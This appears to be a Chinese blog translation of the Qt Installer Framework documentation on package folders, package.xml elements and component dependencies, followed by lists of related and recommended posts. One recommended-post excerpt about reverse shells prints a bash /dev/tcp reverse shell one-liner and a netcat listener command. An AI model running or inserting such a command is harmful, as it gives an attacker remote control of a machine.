包文件夹

安装程序包含的组件,要么是内嵌的,要么可以从远程存储库加载。在这两种情况下,都需要为组件使用一种安装程序可以读取的文件格式和结构。

包文件夹结构

将所有组件放在相同的根文件夹中,即包文件夹。该文件夹的名称充当类似于域的标识符,用于标识所有组件。例如,com.vendor.root

在根文件夹中,创建名为datameta的子文件夹。

包文件夹结构如下所示:

-packages
- com.vendor.root
- data
- meta
- com.vendor.root.component1
- data
- meta
- com.vendor.root.component1.subcomponent1
- data
- meta
- com.vendor.root.component2
- data
- meta

元文件夹

元文件夹包含多个文件,用于指定部署和安装过程的设置。安装程序不提取这些文件。该文件夹必须至少包含一个包信息文件,以及您在包信息文件中引用到的所有文件,例如脚本,用户界面文件和翻译文件。

包信息文件语法

package.xml文件是组件的主要信息来源。以下是示例:

<?xml version="1.0"?>
<Package>
<DisplayName>QtGui</DisplayName>
<Description>Qt gui libraries</Description>
<Description xml:lang="de_de">Qt GUI Bibliotheken</Description>
<Version>1.2.3</Version>
<ReleaseDate>2009-04-23</ReleaseDate>
<Name>com.vendor.root.component2</Name>
<Dependencies>com.vendor.root.component1</Dependencies>
<Virtual>false</Virtual>
<Licenses>
<License name="License Agreement" file="license.txt" />
</Licenses>
<Script>installscript.qs</Script>
<UserInterfaces>
<UserInterface>specialpage.ui</UserInterface>
<UserInterface>errorpage.ui</UserInterface>
</UserInterfaces>
<Translations>
<Translation>sv_se.qm</Translation>
<Translation>de_de.qm</Translation>
</Translations>
<DownloadableArchives>component2.7z, component2a.7z</DownloadableArchives>
<AutoDependOn>com.vendor.root.component3</AutoDependOn>
<SortingPriority>123</SortingPriority>
<UpdateText>This changed compared to the last release</UpdateText>
<Default>false</Default>
<ForcedInstallation>false</ForcedInstallation>
<Essential>false</Essential>
<Replaces>com.vendor.root.component2old</Replaces>
</Package>

包信息文件元素总结

元素 描述
DisplayName 组件的可读名称。强制项。可将组件名称的翻译指定为DisplayName的附加标签,并将xml:lang属性设置为正确的语言环境。
Description 组件的可读描述。强制项。可以参考DisplayName标签类似地指定翻译。如果找不到与语言环境匹配的本地化翻译,并且存在未翻译的版本,则将使用该版本。否则,将不会显示该语言环境的描述。用户可点击的外部链接,例如组件的主页,可以包括在组件描述中,通过指定如下URL地址:{external-link}='https://www.qt.io/'。 该URL必须有效,并且包含所需资源的完整路径。
Version 组件版本的格式:[0-9]+((\.|-)[0-9]+)*,例如1-1;1.2-2; 3.4.7。强制项。如果一个包需要显示子包的版本号而不是它自己的版本号(由于子包的分组),则可以使用需要继承该版本号的包名称,来指定InheritVersionFrom属性。
ReleaseDate 组件版本发布的日期。强制项。
Name 组件的类域标识。强制项。
Dependencies 逗号分隔的组件标识符列表,此组件的依赖项。可选的,你可以指定版本号,用破折号(-)分隔。您可以在版本号前使用比较运算符(=,>,<,>=或<=)。请记住,必须使用字符引用"&lt;"来转义左尖括号(使用"&lt;"代替"<",使用"&lt;="代替"<=")。可选项。有关更多信息,请参见组件依赖章节。
AutoDependOn 逗号分隔的组件标识符列表,本组件自动依赖。仅当所有指定依赖满足时,才安装本组件。如果其中某个组件自动依赖于其他组件,则组件树中该组件旁边的复选框将不可见。复选框自动进行选择。如果以前未安装过本组件,则仅当列表中的所有组件都被选择安装时,才可选择安装本组件。 如果已经安装了本组件,当列表中选择了至少一个组件进行卸载时,则该组件也将被选择进行卸载。 有关更多信息,请参见组件依赖章节。
Virtual 设置为true可以从安装程序中隐藏该组件。 请注意,在根组件上设置此功能无效。
SortingPriority 树中组件的优先级。 该树从最高优先级到最低优先级排序,最高优先级在顶部。
Licenses 用户将接受的许可协议列表。要添加多个许可证,请添加多个<License>子元素,每个都指定许可证名称文件。 许可证文件支持ASCII和UTF8文件格式。
如果列出了此组件的翻译,安装程序还将查找翻译后的许可证。它们需要与原始许可证文件同名,但具有附加的语言环境标识符。例如,如果许可证文件名为license.txt,并指定了德语翻译,则安装程序还将包含license_de_de.txt文件(在德语系统上安装时显示)。
Script 正在加载的脚本的文件名。可选项。有关更多信息,请参见添加操作章节。
UserInterfaces 要加载的页面列表。 要添加多个页面,请添加多个<UserInterface>子元素,每个指定页面的文件名。 可选项。有关更多信息,请参见添加页面章节。
Translations 要加载的翻译文件列表。 要添加多种语言变体,请指定多个<Translation>子元素,每个指定一种语言变体的文件名。可选项。有关更多信息,请参见翻译页面章节。
UpdateText 描述,添加到组件描述中。如果这是对组件的更新。可选的。
Default 可能的值为:true,false和script。设置为true,则预先选择安装程序中的组件。这仅对没有可见子组件的组件有效。 true和false会被直接评估,而script在运行时解析。 在此文件中,添加脚本名,作为<Script>元素的一个值。有关示例脚本,请参见选择默认内容章节。
Essential 将包标记为必要的,用于强制重启MaintenanceTool。如果某个必要组件有可用的更新,则包管理器将保持禁用状态,直到该组件被更新为止。运行更新程序时,将自动安装新引入的必要组件。
ForcedInstallation 确定必须始终安装该包。用户无法在安装程序中取消选择。
Replaces 要替换的逗号分隔的组件列表。可选项。
DownloadableArchives 列出供在线安装程序下载的数据文件(用逗号分隔)。如果组件内部有一些数据,并且package.xml和/或脚本没有DownloadableArchives值,则repogen工具会自动注册找到的数据。
RequiresAdminRights 设置为true,如果需要使用提升的权限来安装包。可选项。
Checkable 设置为false,如果要隐藏项目的复选框。当仅应选择几个子组件而不是全部时,这很有用。可选项。
ExpandedByDefault 设置为true,如果要在树结构中默认扩展此项。可选项。

组件依赖

组件可以依赖一个或多个真实或者虚拟的组件。依赖通过组件标识或者可选的组件版本来定义。使用破折号(-)将版本号与标识符分开。

可以使用比较运算符(=,>,、&lt;(<),>=或&lt;=(<=))作为版本号的前缀,以指示包的版本号,并与所需版本进行比较,并且必须等于、大于、小于、大于等于依赖项的版本号。如果没有给出比较运算符,则默认为=。

数据文件夹

数据文件夹包含安装程序在安装过程中要提取的内容。您必须将数据打包为.7zip存档(.7z)。您可以使用Qt Installer框架随附的archivegen工具,也可以使用其他生成7zip存档的工具。


原创造福大家,共享改变世界

献出一片爱心,温暖作者心灵


Qt Installer Framework翻译(7-2)的更多相关文章

  1. Qt Installer Framework翻译(5-4)

    自定义安装程序 您可以使用脚本通过以下方式来自定义安装程序: > 添加Qt Installer Framework操作,该操作由脚本提供,并由安装程序执行. > 添加新页面,该页面由您在p ...

  2. Qt Installer Framework翻译(7-6)

    工具 Qt Installer Framework包含以下工具: > installerbase > binarycreator > repogen > archivegen ...

  3. Qt Installer Framework翻译(3-1)

    初始化安装 下图说明了安装应用程序的默认工作流程: 本节使用在macOS上运行的Your Application Installer示例来说明默认工作流程.安装程序具有本地化外观,并可感知每个受支持的 ...

  4. Qt Installer Framework翻译(1)

    IFW概览 Qt Installer Framework 提供了一组工具和程序来创建安装程序,并在不重写源代码的情况下将它们部署到所有受支持的桌面 Qt 平台上.安装程序具有本地化外观,并且可以感知运 ...

  5. Qt Installer Framework翻译(4)

    教程:创建安装程序 本教程描述如何为一个小项目创建一个简单的安装程序: 本节描述创建安装程序所必须完成的步骤: 创建一个包文件夹,其中将包含所有配置文件和可安装的包. 创建一个配置文件,其中包含有关如 ...

  6. Qt Installer Framework翻译(7-4)

    组件脚本 对于每个组件,您可以指定一个脚本,来准备要由安装程序执行的操作.脚本格式必须与QJSEngine兼容. 构造 脚本必须包含安装程序在加载脚本时创建的Component对象. 因此,脚本必须至 ...

  7. Qt Installer Framework翻译(7-8)

    C++ API C ++ API文档是为开发Qt Installer Framework的开发人员编写的. 它描述了内部API,因此没有兼容性保证. 此外,该文档尚在开发中,因此缺少部分内容,而其他部 ...

  8. Qt Installer Framework翻译(0)

    本人主攻C++和Qt. 以前一直看人家的博客,找资料学习.今天我也终于开博客啦. 最近在研究Qt install framework(IFW)应用程序安装框架. google也没发现有正儿八经的官方文 ...

  9. Qt Installer Framework翻译(7-3)

    控制脚本 对于每个安装程序,您可以指定一个控制脚本,用来与安装程序的部分UI或功能进行交互.控制脚本可以在向导中添加和删除页面,更改现有页面,进行附加检查以及通过模拟用户单击来与UI交互.例如,这允许 ...

随机推荐

  1. Spring Security 学习笔记-securityContext过滤器

    位于过滤器顶端,第一个起作用的过滤器.SecurityContextPersistenceFilter 在执行其他过滤器之前,率先判断用户的session中是否已经存在一个SecurityContex ...

  2. Tufurama CodeForces - 961E (cdq分治)

    题面 One day Polycarp decided to rewatch his absolute favourite episode of well-known TV series " ...

  3. 2018-8-14-resharper-自定义代码片

    title author date CreateTime categories resharper 自定义代码片 lindexi 2018-08-14 17:34:51 +0800 2018-2-13 ...

  4. TextInputLayout低版本bug :“android.view.InflateException: Binary XML file line #6 : Error inflating class Textview”

    开发中用到TextInputLayout配合TextInputEdittext做输入框,在android7.0 android8.0手机上运行正常,在异步android5.0.2的手机上,点击输入框就 ...

  5. 使用Glide加载圆角图片

    //设置图片圆角角度 RoundedCorners roundedCorners= new RoundedCorners(6); //通过RequestOptions扩展功能,override采样率, ...

  6. JDBC 数据源

    概述 JNDI 数据源配置的相关内容已经在 JNDI 资源文档中详细介绍过.但从 Tomcat 用户的反馈意见来看,有些配置的细节问题非常棘手. 针对常用的数据库,我们已经给 Tomcat 用户提供了 ...

  7. 反弹shell理解

    靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...

  8. Ssh_key免秘钥登录

    一,环境准备 1.1 操作系统 [root@manager ~]# cat /etc/redhat-release CentOS release 6.7 (Final) [root@manager ~ ...

  9. java之set接口

    1.set集合不能存储重复的元素, 2.HashSet集合不能保证的迭代顺序与元素存储顺序相同. 3.HashSet集合,采用哈希表结构存储数据,保证元素唯一性的方式依赖于:hashCode()与eq ...

  10. IDEA模板快捷键

    2.1 psvm:可生成 main 方法 2.2 sout:System.out.println() 快捷输出 类似的: soutp=System.out.println("方法形参名 = ...